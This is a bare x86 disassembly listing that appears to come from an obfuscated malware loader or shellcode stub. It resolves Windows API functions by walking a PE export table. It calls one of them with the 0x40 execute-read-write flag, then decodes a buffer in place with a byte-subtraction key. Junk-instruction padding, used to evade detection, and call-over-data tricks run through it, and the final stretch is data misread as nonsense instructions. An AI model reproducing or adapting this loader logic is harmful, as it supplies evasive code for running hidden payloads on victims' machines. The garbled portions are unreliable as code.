mov edx, dword [ebp - 0x78c]
mov eax, dword [ebp - 0x36c]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19d4], eax
mov ecx, dword [ebp - 0x78c]
mov edx, dword [ebp - 0x36c]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19d8], edx
mov dword [ebp - 0x790], 0
jmp 0x61517864
mov ecx, dword [ebp - 0x78c]
mov edx, dword [ebp - 0x790]
cmp edx, dword [ecx + 0x18]
jae 0x61517a70
mov eax, dword [ebp - 0x790]
mov ecx, dword [ebp - 0x19d0]
mov edx, dword [ebp - 0x36c]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x794], edx
mov eax, dword [ebp - 0x790]
mov ecx, dword [ebp - 0x19d4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19d8]
mov ecx, dword [ebp - 0x36c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19dc], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x615178d4
mov edx, dword [ebp - 0x1a0]
add edx, 1
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x794]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x61517986
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x9d8]
test eax, eax
je 0x61517986
push edx
push ebx
add esp, 4
sub edx, 0x46d0
jmp 0x61517914
xor edx, 0xf43a
pop edx
push edx
push ecx
add esp, 4
add edx, 0x9c35
or edx, 0x201b
and edx, 0x153d0
pop edx
mov ecx, dword [ebp - 0x794]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x9d8]
cmp edx, ecx
je 0x61517978
mov edx, dword [ebp - 0x794]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x9d8]
cmp eax, edx
jne 0x6151797f
jmp 0x615178c5
jmp 0x61517986
push ebx
push ecx
add esp, 4
call 0x61517997
add byte [edx + 0x44], al
dec edi
aas
dec esi
xor eax, 0x8104c483
retf
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x524], eax
mov ecx, dword [ebp - 0x524]
mov dword [ebp - 0xac0], ecx
push esi
push ebx
add esp, 4
call 0x61517a99
add byte [esi], bh
xor bh, byte [ecx]
inc edx
inc ecx
inc edi
add esp, 4
add esi, 0x139f2
and esi, 0xb4a
pop esi
push edi
call 0x61517ab6
add byte [edi], dh
dec edx
cmp al, 0x42
dec esp
add esp, 4
pop edi
mov edx, dword [ebp - 0xac0]
mov dword [ebp - 0x19e0], edx
lea eax, [ebp - 0xcec]
push eax
push 0x40
mov ecx, dword [ebp - 0x169c]
push ecx
mov edx, dword [ebp - 0x3e4]
push edx
call dword [ebp - 0x19e0]
test eax, eax
jne 0x61517b2d
push edx
push ecx
add esp, 4
xor edx, 0x10bb7
or edx, 0x4e40
xor edx, 0xadc7
pop edx
push edx
sub edx, 0x15f5c
or edx, 0xd083
add edx, 0x2d06
xor edx, 0x198d
pop edx
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x19e4], eax
push 0
call dword [ebp - 0x19e4]
mov ecx, dword [ebp - 0x19e8]
mov dword [ebp - 0x79c], ecx
jmp 0x61517b4a
mov edx, dword [ebp - 0x79c]
add edx, 1
mov dword [ebp - 0x79c], edx
mov eax, dword [ebp - 0x79c]
cmp eax, dword [ebp - 0xac4]
jae 0x61517ba6
push edi
push edx
add esp, 4
xor edi, 0x150b1
or edi, 0x11c60
pop edi
push eax
push edx
add esp, 4
jmp 0x61517b74
pop eax
push ebx
push edi
add esp, 4
xor ebx, 0x118fe
jmp 0x61517b89
pop ebx
movzx ecx, byte [ebp - 0x3ed]
mov edx, dword [ebp - 0x79c]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x79c]
mov byte [ecx], al
jmp 0x61517b3b
mov edx, dword [ebp - 0xac0]
mov dword [ebp - 0x19ec], edx
lea eax, [ebp - 0xcec]
push eax
mov ecx, dword [ebp - 0xcec]
push ecx
mov edx, dword [ebp - 0x169c]
push edx
mov eax, dword [ebp - 0x3e4]
push eax
call dword [ebp - 0x19ec]
test eax, eax
jne 0x61517c1e
push esi
call 0x61517be9
add byte [ecx + eax*2], bh
cmp eax, dword [eax + 0x49]
dec eax
xor dh, byte [edx]
cmp al, byte [ebx + 0x535e04c4]
push ebx
add esp, 4
xor ebx, 0x556c
jmp 0x61517c01
pop ebx
push ebx
xor ebx, 0xd6b6
pop ebx
mov ecx, dword [ebp - 0x7a0]
mov dword [ebp - 0x19f0], ecx
push 0
call dword [ebp - 0x19f0]
push eax
or eax, 0xd135
jmp 0x61517c2e
call 0x61517c3e
add byte [esi], bh
dec ebx
xor al, byte [eax + 0x3a]
cmp al, 0x33
inc esp
cmp eax, dword [edi - 0x7d]
les eax, [ecx + eax*4]
loopne 0x61517be6
add dword [eax], eax
add byte [eax + 0x52], bl
add edx, 0x6ab0
pop edx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff06ff
pop ecx
pop esp
pop esp
mov edx, ecx
or al, byte [edi + 0x6c4c6cc]
push es
xchg esp, ebp
sub ch, byte [edi + 0xaf10606]
aas
cmp ecx, dword [edx + 0x50]
xchg esp, ebp
dec esp
or eax, dword [esi]
push es
pop ebp
pop esp
mov edx, ecx
or al, byte [edi + 0x78411fd]
push es
pop ebp
xchg ebp, ecx
pushfd
mov dl, 6
push es
int3